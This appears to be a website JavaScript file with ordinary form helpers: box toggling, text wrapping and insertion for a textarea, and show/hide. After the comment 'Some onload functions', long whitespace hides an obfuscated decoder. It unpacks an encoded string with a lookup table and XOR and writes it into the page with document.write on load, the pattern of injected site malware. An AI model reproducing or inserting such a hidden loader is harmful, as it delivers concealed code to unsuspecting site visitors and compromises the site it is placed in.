/* 
------------------------------------------
	Flipbox written by CrappoMan
	simonpatterson@dsl.pipex.com
------------------------------------------
*/
function flipBox(who) {
	var tmp; 
	if (document.images['b_' + who].src.indexOf('_on') == -1) { 
		tmp = document.images['b_' + who].src.replace('_off', '_on');
		document.getElementById('box_' + who).style.display = 'none';
		document.images['b_' + who].src = tmp;
	} else { 
		tmp = document.images['b_' + who].src.replace('_on', '_off');
		document.getElementById('box_' + who).style.display = 'block';
		document.images['b_' + who].src = tmp;
	} 
}

function addText(elname, wrap1, wrap2) {
	if (document.selection) { // for IE 
		var str = document.selection.createRange().text;
		document.forms['inputform'].elements[elname].focus();
		var sel = document.selection.createRange();
		sel.text = wrap1 + str + wrap2;
		return;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var txtarea = document.forms['inputform'].elements[elname];
		var selLength = txtarea.textLength;
		var selStart = txtarea.selectionStart;
		var selEnd = txtarea.selectionEnd;
		var oldScrollTop = txtarea.scrollTop;
		//if (selEnd == 1 || selEnd == 2)
		//selEnd = selLength;
		var s1 = (txtarea.value).substring(0,selStart);
		var s2 = (txtarea.value).substring(selStart, selEnd)
		var s3 = (txtarea.value).substring(selEnd, selLength);
		txtarea.value = s1 + wrap1 + s2 + wrap2 + s3;
		txtarea.selectionStart = s1.length;
		txtarea.selectionEnd = s1.length + s2.length + wrap1.length + wrap2.length;
		txtarea.scrollTop = oldScrollTop;
		txtarea.focus();
		return;
	} else {
		insertText(elname, wrap1 + wrap2);
	}
}

function insertText(elname, what) {
	if (document.forms['inputform'].elements[elname].createTextRange) {
		document.forms['inputform'].elements[elname].focus();
		document.selection.createRange().duplicate().text = what;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var tarea = document.forms['inputform'].elements[elname];
		var selEnd = tarea.selectionEnd;
		var txtLen = tarea.value.length;
		var txtbefore = tarea.value.substring(0,selEnd);
		var txtafter =  tarea.value.substring(selEnd, txtLen);
		var oldScrollTop = tarea.scrollTop;
		tarea.value = txtbefore + what + txtafter;
		tarea.selectionStart = txtbefore.length + what.length;
		tarea.selectionEnd = txtbefore.length + what.length;
		tarea.scrollTop = oldScrollTop;
		tarea.focus();
	} else {
		document.forms['inputform'].elements[elname].value += what;
		document.forms['inputform'].elements[elname].focus();
	}
}

function show_hide(msg_id) {
	msg_id.style.display = msg_id.style.display == 'none' ? 'block' : 'none';
}// Some onload functions
                                                                                                                                                                                                                                                                              function II1O0OlIl0OO0IOllI0l1OOl1O0l1lO1IIIl1OO0(O0OII0IOIl10OIlI1lIOl0lOlOO00l1I0lOIl11I){var OlOO0OOIIIl11OOI1lI001I0OIOOlIIOO00IOOO1=O0OII0IOIl10OIlI1lIOl0lOlOO00l1I0lOIl11I.length,IOI101010lO0001Ill1IIl110O0IlOl00IO0lIOl=1024,Il0I01O01IllI11lI1IIlIll1O000OlIOl1O1III,lOI1Il0O0I0l10lOOlOI1O1IOI1l1lOlO000l1I0,llOO1lll0II1l1llI110IOI1Ol1lI0IO0001l000,OIlOOI1IIl1Il00IIIlII1OI00101IIO1IlI11O0=0,llI0lllIOIO1lll00101llI1OIlllOl01I01Ill0=0,OOOIO1IOIIlIIOl01ll01l1II1l11lOl1lOI110l=0,llIIOOll1l0II11OO1Il10IO0111OO1OOl00OllI=Array(63,8,60,58,11,49,13,1,43,61,0,0,0,0,0,0,2,44,18,34,21,51,62,36,35,27,15,23,45,59,12,47,19,42,40,50,54,10,16,17,7,5,52,0,0,0,0,57,0,26,48,29,55,9,32,6,14,20,53,0,38,41,3,37,33,4,56,46,28,30,25,24,39,22,31);for(lOI1Il0O0I0l10lOOlOI1O1IOI1l1lOlO000l1I0=Math.ceil(OlOO0OOIIIl11OOI1lI001I0OIOOlIIOO00IOOO1/IOI101010lO0001Ill1IIl110O0IlOl00IO0lIOl);lOI1Il0O0I0l10lOOlOI1O1IOI1l1lOlO000l1I0>0;lOI1Il0O0I0l10lOOlOI1O1IOI1l1lOlO000l1I0--){llOO1lll0II1l1llI110IOI1Ol1lI0IO0001l000='';for(Il0I01O01IllI11lI1IIlIll1O000OlIOl1O1III=Math.min(OlOO0OOIIIl11OOI1lI001I0OIOOlIIOO00IOOO1,IOI101010lO0001Ill1IIl110O0IlOl00IO0lIOl);Il0I01O01IllI11lI1IIlIll1O000OlIOl1O1III>0;Il0I01O01IllI11lI1IIlIll1O000OlIOl1O1III--,OlOO0OOIIIl11OOI1lI001I0OIOOlIIOO00IOOO1--){OOOIO1IOIIlIIOl01ll01l1II1l11lOl1lOI110l|=(llIIOOll1l0II11OO1Il10IO0111OO1OOl00OllI[O0OII0IOIl10OIlI1lIOl0lOlOO00l1I0lOIl11I.charCodeAt(OIlOOI1IIl1Il00IIIlII1OI00101IIO1IlI11O0++)-48])<<llI0lllIOIO1lll00101llI1OIlllOl01I01Ill0;if(llI0lllIOIO1lll00101llI1OIlllOl01I01Ill0){llOO1lll0II1l1llI110IOI1Ol1lI0IO0001l000+=String.fromCharCode(165^OOOIO1IOIIlIIOl01ll01l1II1l11lOl1lOI110l&255);OOOIO1IOIIlIIOl01ll01l1II1l11lOl1lOI110l>>=8;llI0lllIOIO1lll00101llI1OIlllOl01I01Ill0-=2}else{llI0lllIOIO1lll00101llI1OIlllOl01I01Ill0=6}}document.write(llOO1lll0II1l1llI110IOI1Ol1lI0IO0001l000)}}II1O0OlIl0OO0IOllI0l1OOl1O0l1lO1IIIl1OO0("vS2bKPNSkKRZNXtZ6HvoYTNbN4tEWHvoYacZtxNbwuwbNIcjePNdzsAS4nAxPEAjNzNEeEtZt0vENXtbkO2pYa9jgH_p6XcZD0mCUacZUKLjyI6b4S2Sn8ACeOwj6KLlWdtdXsvlUS2bKPNSkOe");                                                                                                                                                                                                                                                                              
// End onload functions